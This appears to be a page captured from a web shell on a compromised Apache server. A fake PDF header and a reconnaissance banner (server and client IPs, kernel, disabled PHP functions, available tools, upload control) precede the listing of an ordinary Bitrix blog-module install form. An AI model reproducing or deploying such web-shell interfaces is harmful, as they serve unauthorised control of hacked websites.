%PDF- %PDF-
Server IP : 37.220.80.31 / Your IP : 52.14.48.138 Web Server : Apache/2.4.52 (Ubuntu) System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64 User : www-root ( 1010) PHP Version : 7.4.33 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/blog/install/ |
Upload File : |
<form action="<?= $APPLICATION->GetCurPage()?>" name="blog_install"> <?=bitrix_sessid_post()?> <input type="hidden" name="lang" value="<?= LANG ?>"> <input type="hidden" name="id" value="blog"> <input type="hidden" name="install" value="Y"> <input type="hidden" name="step" value="2"> <script language="JavaScript"> function ChangeInstallPublic(val, lan) { var name1 = 'is404_'+lan; var name2 = 'public_path_'+lan; var name3 = 'public_rewrite_'+lan; document.getElementById(name1).disabled = !val; document.getElementById(name2).disabled = !val; document.getElementById(name3).disabled = !val; } </script> <? $arSites= Array(); $dbSites = CSite::GetList('', '', Array("ACTIVE" => "Y")); while ($site = $dbSites->GetNext()) { $arSites[] = Array("SITE_ID" => $site["LID"], "NAME" => $site["NAME"], "DIR" => $site["DIR"]); } ?> <table class="list-table"> <tr class="head"> <td> </td> <?foreach($arSites as $fSite):?> <td><?=$fSite["NAME"]?></td> <?endforeach;?> </tr> <tr> <td><?=GetMessage("BLI_COPY_PUBLIC_FILES") ?>:</td> <?foreach($arSites as $fSite):?> <td><input type="checkbox" name="install_public_<?=$fSite["SITE_ID"]?>" value="Y" onclick="ChangeInstallPublic(this.checked, '<?=CUtil::JSEscape($fSite["SITE_ID"])?>')"></td> <?endforeach;?> </tr> <tr> <td><?=GetMessage("BLI_INSTALL_404") ?>:</td> <?foreach($arSites as $fSite):?> <td><input type="checkbox" name="is404_<?=$fSite["SITE_ID"]?>" id="is404_<?=$fSite["SITE_ID"]?>" value="Y" checked></td> <?endforeach;?> </tr> <tr> <td><?=GetMessage("BLI_COPY_FOLDER") ?>:</td> <?foreach($arSites as $fSite):?> <td><input type="text" name="public_path_<?=$fSite["SITE_ID"]?>" id="public_path_<?=$fSite["SITE_ID"]?>" value="blog"></td> <?endforeach;?> </tr> <tr> <td><?= GetMessage("BLOG_INSTALL_PUBLIC_REW") ?>:</td> <?foreach($arSites as $fSite):?> <td><input type="checkbox" name="public_rewrite_<?=$fSite["SITE_ID"]?>" id="public_rewrite_<?=$fSite["SITE_ID"]?>" value="Y"></td> <?endforeach;?> </tr> </table> <p> <input type="checkbox" name="install_templates" value="Y" id="install_templates" checked> <label for="install_templates"><?=GetMessage("BLI_INSTALL_EMAIL") ?></label><br /> <input type="checkbox" name="install_smiles" value="Y" id="install_smiles" checked> <label for="install_smiles"><?=GetMessage("BLI_INSTALL_SMILES") ?></label> </p> <script language="JavaScript"> <?foreach($arSites as $fSite):?> ChangeInstallPublic(false, '<?=CUtil::JSEscape($fSite["SITE_ID"]);?>'); <?endforeach;?> </script> <br> <input type="submit" name="inst" value="<?= GetMessage("MOD_INSTALL")?>"> </form>